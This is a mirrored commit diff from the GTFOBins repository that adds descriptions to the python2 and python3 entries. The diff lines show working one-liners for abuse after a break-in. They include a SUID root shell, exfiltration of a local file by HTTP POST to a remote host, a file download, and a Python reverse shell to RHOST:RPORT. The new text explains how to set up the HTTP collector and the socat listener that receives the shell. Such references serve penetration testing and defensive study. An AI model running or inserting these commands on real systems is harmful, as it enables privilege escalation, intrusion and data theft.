mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add descriptions to python2 and python3
This commit is contained in:
parent
d9612ec461
commit
8f992a27f1
@ -7,7 +7,7 @@ functions:
|
|||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./python -c 'import os; os.system("/bin/sh -p")'
|
- code: ./python -c 'import os; os.system("/bin/sh -p")'
|
||||||
upload:
|
upload:
|
||||||
- description: Send local file via "d" parameter of a HTTP POST request.
|
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://10.0.0.1/
|
export URL=http://10.0.0.1/
|
||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
@ -23,7 +23,8 @@ functions:
|
|||||||
export LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- code: |
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
|
||||||
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=127.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=8000
|
||||||
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||||
|
@ -7,7 +7,7 @@ functions:
|
|||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: ./python3 -c 'import os; os.system("/bin/sh -p")'
|
- code: ./python3 -c 'import os; os.system("/bin/sh -p")'
|
||||||
upload:
|
upload:
|
||||||
- description: Send local file via "d" parameter of a HTTP POST request.
|
- description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
|
||||||
code: |
|
code: |
|
||||||
export URL=http://10.0.0.1/
|
export URL=http://10.0.0.1/
|
||||||
export LFILE=file_to_send
|
export LFILE=file_to_send
|
||||||
@ -23,7 +23,8 @@ functions:
|
|||||||
export LFILE=file_to_get
|
export LFILE=file_to_get
|
||||||
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- code: |
|
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
|
||||||
|
code: |
|
||||||
export RHOST=127.0.0.1
|
export RHOST=127.0.0.1
|
||||||
export RPORT=8000
|
export RPORT=8000
|
||||||
python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
|
||||||
|
Loading…
Reference in New Issue
Block a user